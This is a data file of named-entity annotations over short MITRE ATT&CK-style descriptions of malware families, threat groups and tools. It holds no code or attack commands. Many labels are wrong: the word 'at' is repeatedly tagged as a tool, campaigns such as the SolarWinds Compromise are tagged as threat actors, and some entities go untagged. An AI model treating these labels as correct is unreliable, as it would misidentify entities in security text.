{"text": "BlackByte Ransomware is uniquely associated with BlackByte operations. BlackByte Ransomware used a common key for infections, allowing for the creation of a universal decryptor. BlackByte Ransomware was replaced in BlackByte operations by BlackByte 2.0 Ransomware by 2023.", "spans": {"MALWARE: BlackByte Ransomware": [[0, 20], [71, 91], [178, 198]], "THREAT_ACTOR: BlackByte": [[49, 58], [215, 224]], "MALWARE: BlackByte 2.0 Ransomware": [[239, 263]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1180"}}
{"text": "SodaMaster is a fileless malware used by menuPass to download and execute payloads since at least 2020.", "spans": {"MALWARE: SodaMaster": [[0, 10]], "THREAT_ACTOR: menuPass": [[41, 49]], "TOOL: at": [[89, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0627"}}
{"text": "Hikit is malware that has been used by Axiom for late-stage persistence and exfiltration after the initial compromise.", "spans": {"MALWARE: Hikit": [[0, 5]], "THREAT_ACTOR: Axiom": [[39, 44]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0009"}}
{"text": "StrelaStealer is an information stealer malware variant first identified in November 2022 and active through late 2024. StrelaStealer focuses on the automated identification, collection, and exfiltration of email credentials from email clients such as Outlook and Thunderbird.", "spans": {"MALWARE: StrelaStealer": [[0, 13], [120, 133]], "SYSTEM: Outlook": [[252, 259]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1183"}}
{"text": "Grandoreiro is a banking trojan written in Delphi that was first observed in 2016 and uses a Malware-as-a-Service (MaaS) business model. Grandoreiro has confirmed victims in Brazil, Mexico, Portugal, and Spain.", "spans": {"MALWARE: Grandoreiro": [[0, 11], [137, 148]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0531"}}
{"text": "WellMail is a lightweight malware written in Golang used by APT29, similar in design and structure to WellMess.", "spans": {"MALWARE: WellMail": [[0, 8]], "THREAT_ACTOR: APT29": [[60, 65]], "MALWARE: WellMess": [[102, 110]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0515"}}
{"text": "LiteDuke is a third stage backdoor that was used by APT29, primarily in 2014-2015. LiteDuke used the same dropper as PolyglotDuke, and was found on machines also compromised by MiniDuke.", "spans": {"MALWARE: LiteDuke": [[0, 8], [83, 91]], "THREAT_ACTOR: APT29": [[52, 57]], "MALWARE: PolyglotDuke": [[117, 129]], "MALWARE: MiniDuke": [[177, 185]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0513"}}
{"text": "Starloader is a loader component that has been observed loading Felismus and associated tools.", "spans": {"MALWARE: Starloader": [[0, 10]], "MALWARE: Felismus": [[64, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0188"}}
{"text": "Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015.", "spans": {"MALWARE: Sakula": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0074"}}
{"text": "VaporRage is a shellcode downloader that has been used by APT29 since at least 2021.", "spans": {"MALWARE: VaporRage": [[0, 9]], "THREAT_ACTOR: APT29": [[58, 63]], "TOOL: at": [[70, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0636"}}
{"text": "RawPOS is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008.    FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD.", "spans": {"MALWARE: RawPOS": [[0, 6], [152, 158]], "TOOL: at": [[118, 120]], "ORGANIZATION: FireEye": [[136, 143]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0169"}}
{"text": "Sibot is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three Sibot variants in early 2021 during its investigation of APT29 and the SolarWinds Compromise.", "spans": {"MALWARE: Sibot": [[0, 5], [186, 191]], "SYSTEM: VBScript": [[41, 49]], "ORGANIZATION: Microsoft": [[159, 168]], "THREAT_ACTOR: APT29": [[243, 248]], "THREAT_ACTOR: SolarWinds Compromise": [[257, 278]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0589"}}
{"text": "ZxxZ is a trojan written in Visual C++ that has been used by BITTER since at least August 2021, including against Bangladeshi government personnel.", "spans": {"MALWARE: ZxxZ": [[0, 4]], "THREAT_ACTOR: BITTER": [[61, 67]], "TOOL: at": [[74, 76]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1013"}}
{"text": "Tarrask is malware that has been used by HAFNIUM since at least August 2021. Tarrask was designed to evade digital defenses and maintain persistence by generating concealed scheduled tasks.", "spans": {"MALWARE: Tarrask": [[0, 7], [77, 84]], "THREAT_ACTOR: HAFNIUM": [[41, 48]], "TOOL: at": [[55, 57]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1011"}}
{"text": "GoBear is a Go-based backdoor that abuses legitimate, stolen certificates for defense evasion purposes. GoBear is exclusively linked to Kimsuky operations.", "spans": {"MALWARE: GoBear": [[0, 6], [104, 110]], "THREAT_ACTOR: Kimsuky": [[136, 143]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1197"}}
{"text": "WINDSHIELD is a signature backdoor used by APT32.", "spans": {"MALWARE: WINDSHIELD": [[0, 10]], "THREAT_ACTOR: APT32": [[43, 48]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0155"}}
{"text": "Drovorub is a Linux malware toolset comprised of an agent, client, server, and kernel modules, that has been used by APT28.", "spans": {"MALWARE: Drovorub": [[0, 8]], "SYSTEM: Linux": [[14, 19]], "THREAT_ACTOR: APT28": [[117, 122]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0502"}}
{"text": "Shark is a backdoor malware written in C# and .NET that is an updated version of Milan; it has been used by HEXANE since at least July 2021.", "spans": {"MALWARE: Shark": [[0, 5]], "SYSTEM: C#": [[39, 41]], "SYSTEM: .NET": [[46, 50]], "MALWARE: Milan": [[81, 86]], "THREAT_ACTOR: HEXANE": [[108, 114]], "TOOL: at": [[121, 123]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1019"}}
{"text": "Bazar is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. Bazar reportedly has ties to TrickBot campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.", "spans": {"MALWARE: Bazar": [[0, 5], [226, 231]], "TOOL: at": [[60, 62]], "MALWARE: TrickBot": [[255, 263]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0534"}}
{"text": "PULSECHECK is a web shell written in Perl that was used by APT5 as early as 2020 including against Pulse Secure VPNs at US Defense Industrial Base (DIB) companies.", "spans": {"MALWARE: PULSECHECK": [[0, 10]], "SYSTEM: Perl": [[37, 41]], "THREAT_ACTOR: APT5": [[59, 63]], "TOOL: at": [[117, 119]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1108"}}
{"text": "Kobalos is a multi-platform backdoor that can be used against Linux, FreeBSD, and Solaris. Kobalos has been deployed against high profile targets, including high-performance computers, academic servers, an endpoint security vendor, and a large internet service provider; it has been found in Europe, North America, and Asia. Kobalos was first identified in late 2019.", "spans": {"MALWARE: Kobalos": [[0, 7], [91, 98], [325, 332]], "SYSTEM: Linux": [[62, 67]], "SYSTEM: FreeBSD": [[69, 76]], "SYSTEM: Solaris": [[82, 89]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0641"}}
{"text": "BadPatch is a Windows Trojan that was used in a Gaza Hackers-linked campaign.", "spans": {"MALWARE: BadPatch": [[0, 8]], "SYSTEM: Windows": [[14, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0337"}}
{"text": "MESSAGETAP is a data mining malware family deployed by APT41 into telecommunications networks to monitor and save SMS traffic from specific phone numbers, IMSI numbers, or that contain specific keywords.", "spans": {"MALWARE: MESSAGETAP": [[0, 10]], "THREAT_ACTOR: APT41": [[55, 60]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0443"}}
{"text": "RATANKBA is a remote controller tool used by Lazarus Group. RATANKBA has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. RATANKBA has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines.", "spans": {"MALWARE: RATANKBA": [[0, 8], [60, 68], [344, 352]], "THREAT_ACTOR: Lazarus Group": [[45, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0241"}}
{"text": "SUGARDUMP is a proprietary browser credential harvesting tool that was used by UNC3890 during the C0010 campaign. The first known SUGARDUMP version was used since at least early 2021, a second SMTP C2 version was used from late 2021-early 2022, and a third HTTP C2 variant was used since at least April 2022.", "spans": {"MALWARE: SUGARDUMP": [[0, 9], [130, 139]], "THREAT_ACTOR: C0010": [[98, 103]], "TOOL: at": [[163, 165], [288, 290]], "SYSTEM: HTTP": [[257, 261]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1042"}}
{"text": "XLoader is an infostealer malware in use since at least 2016. Previously known and sometimes still referred to as Formbook, XLoader is a Malware as a Service (MaaS) known for stealing data from web browsers, email clients and File Transfer Protocol (FTP) applications.", "spans": {"MALWARE: XLoader": [[0, 7], [124, 131]], "TOOL: at": [[47, 49]], "TOOL: FTP": [[250, 253]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1207"}}
{"text": "SOUNDBITE is a signature backdoor used by APT32.", "spans": {"MALWARE: SOUNDBITE": [[0, 9]], "THREAT_ACTOR: APT32": [[42, 47]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0157"}}
{"text": "BADCALL is a Trojan malware variant used by the group Lazarus Group.", "spans": {"MALWARE: BADCALL": [[0, 7]], "THREAT_ACTOR: Lazarus Group": [[54, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0245"}}
{"text": "hcdLoader is a remote access tool (RAT) that has been used by APT18.", "spans": {"MALWARE: hcdLoader": [[0, 9]], "THREAT_ACTOR: APT18": [[62, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0071"}}
{"text": "Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise.", "spans": {"MALWARE: Nidiran": [[0, 7]], "THREAT_ACTOR: Suckfly": [[51, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0118"}}
{"text": "MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.", "spans": {"MALWARE: MoonWind": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0149"}}
{"text": "CorKLOG is a keylogger known to be leveraged by Mustang Panda and was first observed utilized in 2024. CorKLOG is delivered through a RAR archive (e.g., src.rar), which contains two files: an executable (lcommute.exe) and the CorKLOG DLL (mscorsvc.dll).  CorKLOG has established persistence on the system by creating services or with scheduled tasks.", "spans": {"MALWARE: CorKLOG": [[0, 7], [103, 110], [226, 233], [255, 262]], "THREAT_ACTOR: Mustang Panda": [[48, 61]], "TOOL: RAR": [[134, 137]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1235"}}
{"text": "Ryuk is a ransomware designed to target enterprise environments that has been used in attacks since at least 2018. Ryuk shares code similarities with Hermes ransomware.", "spans": {"MALWARE: Ryuk": [[0, 4], [115, 119]], "TOOL: at": [[100, 102]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0446"}}
{"text": "Cryptoistic is a backdoor, written in Swift, that has been used by Lazarus Group.", "spans": {"MALWARE: Cryptoistic": [[0, 11]], "THREAT_ACTOR: Lazarus Group": [[67, 80]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0498"}}
{"text": "HermeticWiper is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.", "spans": {"MALWARE: HermeticWiper": [[0, 13]], "TOOL: at": [[55, 57]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0697"}}
{"text": "ABK is a downloader that has been used by BRONZE BUTLER since at least 2019.", "spans": {"MALWARE: ABK": [[0, 3]], "THREAT_ACTOR: BRONZE BUTLER": [[42, 55]], "TOOL: at": [[62, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0469"}}
{"text": "Pysa is a ransomware that was first used in October 2018 and has been seen to target particularly high-value finance, government and healthcare organizations.", "spans": {"MALWARE: Pysa": [[0, 4]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0583"}}
{"text": "Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies.", "spans": {"MALWARE: Wiper": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0041"}}
{"text": "Final1stspy is a dropper family that has been used to deliver DOGCALL.", "spans": {"MALWARE: Final1stspy": [[0, 11]], "MALWARE: DOGCALL": [[62, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0355"}}
{"text": "MgBot is a modular malware framework exclusively associated with Daggerfly operations since at least 2012. MgBot was developed in C++ and features a module design with multiple available plugins that have been under active development through 2024.", "spans": {"MALWARE: MgBot": [[0, 5], [107, 112]], "THREAT_ACTOR: Daggerfly": [[65, 74]], "TOOL: at": [[92, 94]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1146"}}
{"text": "ccf32 is data collection malware that has been used since at least February 2019, most notably during the FunnyDream campaign; there is also a similar x64 version.", "spans": {"MALWARE: ccf32": [[0, 5]], "TOOL: at": [[58, 60]], "THREAT_ACTOR: FunnyDream": [[106, 116]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1043"}}
{"text": "Kapeka is a backdoor written in C++ used against victims in Eastern Europe since at least mid-2022. Kapeka has technical overlaps with Exaramel for Windows and Prestige malware variants, both of which are linked to Sandworm Team. Kapeka may have been used in advance of Prestige deployment in late 2022.", "spans": {"TOOL: at": [[81, 83]], "MALWARE: Exaramel for Windows": [[135, 155]], "MALWARE: Prestige": [[160, 168], [270, 278]], "THREAT_ACTOR: Sandworm Team": [[215, 228]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1190"}}
{"text": "LockBit 2.0 is an affiliate-based Ransomware-as-a-Service (RaaS) that has been in use since at least June 2021 as the successor to LockBit Ransomware. LockBit 2.0 has versions capable of infecting Windows and VMware ESXi virtual machines, and has been observed targeting multiple industry verticals globally.", "spans": {"MALWARE: LockBit 2.0": [[0, 11], [151, 162]], "TOOL: at": [[92, 94]], "SYSTEM: Windows": [[197, 204]], "SYSTEM: VMware": [[209, 215]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1199"}}
{"text": "OilCheck is a C#/.NET downloader that has been used by OilRig since at least 2022 including against targets in Israel. OilCheck uses draft messages created in a shared email account for C2 communication.", "spans": {"MALWARE: OilCheck": [[0, 8], [119, 127]], "SYSTEM: C#": [[14, 16]], "SYSTEM: .NET": [[17, 21]], "THREAT_ACTOR: OilRig": [[55, 61]], "TOOL: at": [[68, 70]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1171"}}
{"text": "Zebrocy is a Trojan that has been used by APT28 since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, VB.NET, and Golang.", "spans": {"MALWARE: Zebrocy": [[0, 7]], "THREAT_ACTOR: APT28": [[42, 47]], "TOOL: at": [[54, 56]], "SYSTEM: C#": [[169, 171]], "SYSTEM: VB.NET": [[173, 179]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0251"}}
{"text": "Pandora is a multistage kernel rootkit with backdoor functionality that has been in use by Threat Group-3390 since at least 2020.", "spans": {"MALWARE: Pandora": [[0, 7]], "THREAT_ACTOR: Threat Group-3390": [[91, 108]], "TOOL: at": [[115, 117]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0664"}}
{"text": "FinFisher is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including Wingbird.", "spans": {"MALWARE: FinFisher": [[0, 9]], "MALWARE: Wingbird": [[272, 280]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0182"}}
{"text": "SpeakUp is a Trojan backdoor that targets both Linux and OSX devices. It was first observed in January 2019.", "spans": {"MALWARE: SpeakUp": [[0, 7]], "SYSTEM: Linux": [[47, 52]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0374"}}
{"text": "LunarMail is a backdoor that has been used by Turla since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) in conjunction with LunarLoader and LunarWeb. LunarMail is designed to be deployed on workstations and can use email messages and Steganography in command and control.", "spans": {"MALWARE: LunarMail": [[0, 9], [192, 201]], "THREAT_ACTOR: Turla": [[46, 51]], "TOOL: at": [[58, 60]], "MALWARE: LunarLoader": [[166, 177]], "MALWARE: LunarWeb": [[182, 190]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1142"}}
{"text": "WARPWIRE is a Javascript credential stealer that targets plaintext passwords and usernames for exfiltration that was used during Cutting Edge to target Ivanti Connect Secure VPNs.", "spans": {"MALWARE: WARPWIRE": [[0, 8]], "THREAT_ACTOR: Cutting Edge": [[129, 141]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1116"}}
{"text": "CrossRAT is a cross platform RAT.", "spans": {"MALWARE: CrossRAT": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0235"}}
{"text": "OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390.", "spans": {"MALWARE: OwaAuth": [[0, 7]], "ORGANIZATION: Microsoft": [[58, 67]], "SYSTEM: Exchange": [[68, 76]], "THREAT_ACTOR: Threat Group-3390": [[124, 141]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0072"}}
{"text": "Cadelspy is a backdoor that has been used by APT39.", "spans": {"MALWARE: Cadelspy": [[0, 8]], "THREAT_ACTOR: APT39": [[45, 50]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0454"}}
{"text": "Cobalt Strike is a commercial, full-featured, remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.\n\nIn addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz.", "spans": {"TOOL: Cobalt Strike": [[0, 13], [224, 237], [405, 418]], "ORGANIZATION: ATT&CK": [[302, 308]], "TOOL: Metasploit": [[480, 490]], "TOOL: Mimikatz": [[495, 503]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0154"}}
{"text": "SampleCheck5000 is a downloader with multiple variants that was used by OilRig including during the Outer Space campaign to download and execute additional payloads.", "spans": {"MALWARE: SampleCheck5000": [[0, 15]], "THREAT_ACTOR: OilRig": [[72, 78]], "THREAT_ACTOR: Outer Space": [[100, 111]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1168"}}
{"text": "SUNBURST is a trojanized DLL designed to fit within the SolarWinds Orion software update framework. It was used by APT29 since at least February 2020.", "spans": {"MALWARE: SUNBURST": [[0, 8]], "ORGANIZATION: SolarWinds": [[56, 66]], "THREAT_ACTOR: APT29": [[115, 120]], "TOOL: at": [[127, 129]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0559"}}
{"text": "EvilBunny is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.", "spans": {"MALWARE: EvilBunny": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0396"}}
{"text": "Wingbird is a backdoor that appears to be a version of commercial software FinFisher. It is reportedly used to attack individual computers instead of networks. It was used by NEODYMIUM in a May 2016 campaign.", "spans": {"MALWARE: Wingbird": [[0, 8]], "MALWARE: FinFisher": [[75, 84]], "THREAT_ACTOR: NEODYMIUM": [[175, 184]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0176"}}
{"text": "Cobian RAT is a backdoor, remote access tool that has been observed since 2016.", "spans": {"MALWARE: Cobian RAT": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0338"}}
{"text": "HotCroissant is a remote access trojan (RAT) attributed by U.S. government entities to malicious North Korean government cyber activity, tracked collectively as HIDDEN COBRA. HotCroissant shares numerous code similarities with Rifdoor.", "spans": {"MALWARE: HotCroissant": [[0, 12], [175, 187]], "MALWARE: Rifdoor": [[227, 234]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0431"}}
{"text": "ServHelper is a backdoor first observed in late 2018. The backdoor is written in Delphi and is typically delivered as a DLL file.", "spans": {"MALWARE: ServHelper": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0382"}}
{"text": "JCry is ransomware written in Go. It was identified as apart of the #OpJerusalem 2019 campaign.", "spans": {"MALWARE: JCry": [[0, 4]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0389"}}
{"text": "Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign.", "spans": {"MALWARE: Unknown Logger": [[0, 14]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0130"}}
{"text": "REvil is a ransomware family that has been linked to the GOLD SOUTHFIELD group and operated as ransomware-as-a-service (RaaS) since at least April 2019. REvil, which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.", "spans": {"MALWARE: REvil": [[0, 5], [153, 158]], "THREAT_ACTOR: GOLD SOUTHFIELD": [[57, 72]], "TOOL: at": [[132, 134]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0496"}}
{"text": "RIPTIDE is a proxy-aware backdoor used by APT12.", "spans": {"MALWARE: RIPTIDE": [[0, 7]], "THREAT_ACTOR: APT12": [[42, 47]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0003"}}
{"text": "Valak is a multi-stage modular malware that can function as a standalone information stealer or downloader, first observed in 2019 targeting enterprises in the US and Germany.", "spans": {"MALWARE: Valak": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0476"}}
{"text": "Samurai is a passive backdoor that has been used by ToddyCat since at least 2020. Samurai allows arbitrary C# code execution and is used with multiple modules for remote administration and lateral movement.", "spans": {"MALWARE: Samurai": [[0, 7], [82, 89]], "THREAT_ACTOR: ToddyCat": [[52, 60]], "TOOL: at": [[67, 69]], "SYSTEM: C#": [[107, 109]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1099"}}
{"text": "PinchDuke is malware that was used by APT29 from 2008 to 2010.", "spans": {"MALWARE: PinchDuke": [[0, 9]], "THREAT_ACTOR: APT29": [[38, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0048"}}
{"text": "Milan is a backdoor implant based on DanBot that was written in Visual C++ and .NET. Milan has been used by HEXANE since at least June 2020.", "spans": {"MALWARE: Milan": [[0, 5], [85, 90]], "MALWARE: DanBot": [[37, 43]], "SYSTEM: .NET": [[79, 83]], "THREAT_ACTOR: HEXANE": [[108, 114]], "TOOL: at": [[121, 123]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1015"}}
{"text": "USBStealer is malware that has been used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL.", "spans": {"MALWARE: USBStealer": [[0, 10]], "THREAT_ACTOR: APT28": [[44, 49]], "TOOL: at": [[56, 58]], "MALWARE: ADVSTORESHELL": [[222, 235]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0136"}}
{"text": "OSX_OCEANLOTUS.D is a macOS backdoor used by APT32. First discovered in 2015, APT32 has continued to make improvements using a plugin architecture to extend capabilities, specifically using `.dylib` files. OSX_OCEANLOTUS.D can also determine it's permission level and execute according to access type (`root` or `user`).", "spans": {"MALWARE: OSX_OCEANLOTUS.D": [[0, 16], [206, 222]], "SYSTEM: macOS": [[22, 27]], "THREAT_ACTOR: APT32": [[45, 50], [78, 83]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0352"}}
{"text": "OilBooster is a downloader written in Microsoft Visual C/C++ that has been used by OilRig since at least 2022 including against target organizations in Israel to download and execute files and for exfiltration.", "spans": {"MALWARE: OilBooster": [[0, 10]], "ORGANIZATION: Microsoft": [[38, 47]], "THREAT_ACTOR: OilRig": [[83, 89]], "TOOL: at": [[96, 98]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1172"}}
{"text": "CCBkdr is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website.", "spans": {"MALWARE: CCBkdr": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0222"}}
{"text": "OnionDuke is malware that was used by APT29 from 2013 to 2015.", "spans": {"MALWARE: OnionDuke": [[0, 9]], "THREAT_ACTOR: APT29": [[38, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0052"}}
{"text": "Taidoor is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks. Taidoor has primarily been used against Taiwanese government organizations since at least 2010.", "spans": {"MALWARE: Taidoor": [[0, 7], [133, 140]], "TOOL: at": [[214, 216]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0011"}}
{"text": "SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.", "spans": {"MALWARE: SHIPSHAPE": [[0, 9]], "THREAT_ACTOR: APT30": [[34, 39], [113, 118]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0028"}}
{"text": "Cherry Picker is a point of sale (PoS) memory scraper.", "spans": {"MALWARE: Cherry Picker": [[0, 13]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0107"}}
{"text": "SUPERNOVA is an in-memory web shell written in .NET C#. It was discovered in November 2020 during the investigation of APT29's SolarWinds cyber operation but determined to be unrelated. Subsequent analysis suggests SUPERNOVA may have been used by the China-based threat group SPIRAL.", "spans": {"MALWARE: SUPERNOVA": [[0, 9], [215, 224]], "SYSTEM: .NET": [[47, 51]], "SYSTEM: C#": [[52, 54]], "THREAT_ACTOR: APT29": [[119, 124]], "ORGANIZATION: SolarWinds": [[127, 137]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0578"}}
{"text": "P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture.", "spans": {"MALWARE: P2P ZeuS": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0016"}}
{"text": "Kivars is a modular remote access tool (RAT), derived from the Bifrost RAT, that was used by BlackTech in a 2010 campaign.", "spans": {"MALWARE: Kivars": [[0, 6]], "THREAT_ACTOR: BlackTech": [[93, 102]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0437"}}
{"text": "CaddyWiper is a destructive data wiper that has been used in attacks against organizations in Ukraine since at least March 2022.", "spans": {"MALWARE: CaddyWiper": [[0, 10]], "TOOL: at": [[108, 110]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0693"}}
{"text": "Cyclops Blink is a modular malware that has been used in widespread campaigns by Sandworm Team since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus. Cyclops Blink is assessed to be a replacement for VPNFilter, a similar platform targeting network devices.", "spans": {"MALWARE: Cyclops Blink": [[0, 13], [198, 211]], "THREAT_ACTOR: Sandworm Team": [[81, 94]], "TOOL: at": [[101, 103]], "SYSTEM: Office": [[136, 142]], "SYSTEM: SOHO": [[144, 148]], "SYSTEM: WatchGuard": [[177, 187]], "SYSTEM: Asus": [[192, 196]], "MALWARE: VPNFilter": [[248, 257]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0687"}}
{"text": "PoisonIvy is a popular remote access tool (RAT) that has been used by many groups.", "spans": {"MALWARE: PoisonIvy": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0012"}}
{"text": "Seasalt is malware that has been linked to APT1's 2010 operations. It shares some code similarities with OceanSalt.", "spans": {"MALWARE: Seasalt": [[0, 7]], "THREAT_ACTOR: APT1": [[43, 47]], "MALWARE: OceanSalt": [[105, 114]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0345"}}
{"text": "NativeZone is the name given collectively to disposable custom Cobalt Strike loaders used by APT29 since at least 2021.", "spans": {"MALWARE: NativeZone": [[0, 10]], "TOOL: Cobalt Strike": [[63, 76]], "THREAT_ACTOR: APT29": [[93, 98]], "TOOL: at": [[105, 107]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0637"}}
{"text": "NanoCore is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.", "spans": {"MALWARE: NanoCore": [[0, 8]], "SYSTEM: .NET": [[54, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0336"}}
{"text": "TajMahal is a multifunctional spying framework that has been in use since at least 2014. TajMahal is comprised of two separate packages, named Tokyo and Yokohama, and can deploy up to 80 plugins.", "spans": {"MALWARE: TajMahal": [[0, 8], [89, 97]], "TOOL: at": [[74, 76]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0467"}}
{"text": "PLEAD is a remote access tool (RAT) and downloader used by BlackTech in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong. PLEAD has also been referred to as TSCookie, though more recent reporting indicates likely separation between the two. PLEAD was observed in use as early as March 2017.", "spans": {"MALWARE: PLEAD": [[0, 5], [142, 147], [261, 266]], "THREAT_ACTOR: BlackTech": [[59, 68]], "MALWARE: TSCookie": [[177, 185]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0435"}}
